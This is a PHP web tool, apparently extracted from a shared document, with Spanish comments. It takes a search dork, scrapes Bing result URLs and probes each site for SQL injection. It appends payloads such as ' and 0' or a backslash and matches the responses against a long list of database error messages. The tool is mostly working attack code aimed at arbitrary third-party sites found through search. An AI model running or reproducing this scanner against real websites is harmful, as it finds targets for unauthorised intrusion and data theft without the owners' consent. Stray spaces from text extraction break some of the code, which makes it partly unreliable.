Sei sulla pagina 1di 5

<title>Buscador SQLi</title> <style> body{ background-color: black; color:white; text-align: center; text-decoration: none; } .

text:hover{ text-shadow: 1px 1px 5px #fff; } img:hover{ opacity:0.6; } a{ text-decoration: none; color:red; } a:hover{ text-decoration: underline; } </style> <!-- Buscador SQLi basica usando bing by arthusu --> <a href="buscador_sqli.php"><img src="http://i.imgur.com/jKXhnme.png" alt="l ogo" /></a><br /> <?php /* +------------------------------------------------+ | Buscador SQLi basica usando BING by arthusu | +------------------------------------------------+ */ //sin limite de tiempo para ejecutar el script, puedes indicar segun gustes :P set_time_limit(0); //esta funcion lo que hace es conectar a la url que le indiquemos como param etro function conectar_url($url){ //inicia curl y lo guarda en ch $ch=curl_init(); //le damos una opciones como la url curl_setopt($ch, CURLOPT_URL, $url); //le damos una opcion de que nos devuelva la pagina sea verdadero curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //de que siga la redireccion como verdadero curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //de establecer un navegador en la cabecera user agent curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0"); //aqui en esta variable se guarda la pagina $pagina=curl_exec($ch); curl_close($ch); //devolvemos la pagina :D return $pagina; } //si existe enviar if(isset($_POST['enviar'])){ // y si no estan vacios los campos if(!empty($_POST['dork']) && !empty($_POST['paginas'])){

//almacenamos nuestras variables $dork=htmlentities($_POST['dork'],ENT_QUOTES); $paginas=$_POST['paginas']; $paginas=htmlentities($paginas,ENT_QUOTES); //abro un archivo y guardo los logs de los dorks que insertan :D, pa ra poder realizar esto necesitas tener permisos de escritura en la carpeta $archivo=fopen('dorks.txt','a'); fwrite($archivo, "Dork insertado: ".$dork."\n"); fclose($archivo); //conformamos la url $bing_url="http://www.bing.com/search?q=".$dork."&first=comienza"; //i vale 1 mientras i sea menor o igual a paginas i va ir en aumento de 1 en 1 //en caso de que el servidor no soporte demasiadas peticiones puedes modificar o limitar el numero de paginas :P $i=1; while($i<=$paginas){ //si se encuentra "comienza" en la url entonces lo reemplaza mos por el valor de i $url_bing=str_replace('comienza', $i, $bing_url); //echo $url_bing ."<br />"; //almacenamos en una variable lo que nos retorna la busqueda $conectado=conectar_url($url_bing); //si no se encuentran resultados entonces que lo muestre if(preg_match("/No se encontraron resultados para/i", $conec tado)){ echo "No se encontro ningun resultado"; }else{ //nos conectamos a la url para que podamos verificar los enlaces $conectado2=conectar_url($url_bing); //print_r($enlaces); //verificamos si se encuentran enlaces if(preg_match_all('/<h3><a href="(.*?)"/', $conectad o2,$enlaces)){ //tenemos e que es 0 si 0 es menor a todos l os enlaces entonces vamos recorriendolos if(!empty($_POST['checked'])){ for($e=0; $e<count($enlaces); $e++){ //reemplazamos <h3><a href=" por vacio para que pueda verificar el error $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]); $reemplazo=str_replace('"', "", $reemplazo); //$reemplazo=$enlaces[0][$e]; //reemplazamos en =cualquiercosa por =" de manera para verificar el error //$vuln=$reemplazo."'"; $vuln=$reemplazo; $vuln2=$reemplazo." and 0"; //$vuln=str_replace("=","=order by 2" , $ree mplazo); //conectamos a la url modificada $conectado3=conectar_url($vuln); $conectado4=conectar_url($vuln2); if($conectado3!=$conectado4){ echo "<br />Vulnerable: <fon t color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentit ies($reemplazo)."</a></font><br />"; }else{

echo "<br />No Vulnerable:". htmlentities($reemplazo)."<br />"; } } }else{ for($e=0; $e<count($enlaces); $e++){ //reemplazamos <h3><a href=" por vacio para que pueda verificar el error $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]); $reemplazo=str_replace('"', "", $reemplazo); //reemplazamos en =cualquiercosa por =" de manera para verificar el error //$vuln=$reemplazo."'"; $vuln2=$reemplazo."\\"; //$vuln=str_replace("=","=order by 2" , $ree mplazo); //conectamos a la url modificada $conectado4=conectar_url($vuln2); //si coincide con cualquiera de estos errore s decimos que es vulnerable sino pues no se le pueden ir agregando mas errores.. . if(preg_match("/You have an error in your SQ L|Division by zero in|supplied argument is not a valid MySQL result resource in| Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Mi crosoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|Microsoft JET Database Engine error|SQ L query failed|MDB2 Error|Server Error|SQL command|403 Forbidden|Warning: mysql_ query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_o bject|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array| Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQ L query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|s upplied argument is not a valid MySQL result resource|on MySQL result index|Orac le ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine erro r|ADODB\.Command|ADODB\.Field error|Microsoft Access Driver|Microsoft VBScript r untime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE\/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|Oracle Error|Oracle Driver|Oracle DB2|OLE DB Provider for ODBC|ODB C SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL |JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Err or|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active S erver Pages error|ASP\.NET_SessionId|ASP\.NET is configured to show verbose erro r messages|A syntax error has occurred|ORA-01756|Error Executing Database Query| Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a c orrect format|Warning: include|Warning: require_once|function\.include|Disallowe d Parent Path|function\.require|Warning: main|Warning: session_start|Warning: ge timagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warnin g: ociexecute|Warning: ocifetchstatement|error ORA-/i", $conectado4)){ echo "<br />Vulnerable: <font color= 'red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($ree mplazo)."</a></font><br />"; }else{ echo "No vulnerable: ".htmlentities( $reemplazo)."<br />"; }

} } }else{ //si no se encontraron url entonces decimos que no coinciden con el formato echo "No coincide con el formato<br />"; } } //borramos la variable url_bing para que se cree de nuevo ar riba con un nuevo valor unset($url_bing); //aumentamos i a uno para que siga recorriendo las urls ++$i; } }else{ //si estan vacios los campos entonces muestra que debe llenarlos y tambien m uestra el formulario de nuevo echo "Debes llenar los campos <br /><br />"; ?> <!-- Aqui tenemos nuestro formulario --> <center> <table border="0" width="500"> <form action="" method="post"> <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><in put type="text" name="dork" placeholder="dork"></td><tr> <tr><td><b><span class="text">Ingresa el numero de paginas a escanea r</span></b></td><td><input type="text" name="paginas" value="5"></td></tr> <tr><td><input name="checked" type="checkbox"></td></tr> <tr><td colspan="2"><input type="submit" name="enviar"></td></tr> <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span c lass="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr> <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por d efecto en 5 :)</span></p></td></tr> </form> <table> </center> <?php } }else{ //sino existe enviar muestra un mensaje y muestra el formulario de n uevo echo ' <center> <table border="0" width="500"> <form action="" method="post"> <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><inp ut type="text" name="dork" placeholder="dork"></td><tr> <tr><td><b><span class="text">Ingresa el numero de paginas a escanear </span></b></td><td><input type="text" name="paginas" value="5"></td></tr> <tr><td><input name="checked" type="checkbox"></td></tr> <tr><td colspan="2"><input type="submit" name="enviar"></td></tr> <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span cl ass="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr> <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span c lass="text">: En paginas son las paginas a escanear en el buscador en este caso

bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por de fecto en 5 :)</span></p></td></tr> </form> <table> </center> '; } /* La nota mas importante es que le podemos ir agregando errores mientras vayas encontrando... Este programa puede llegar a lanzar falsos positivos.... */ ?>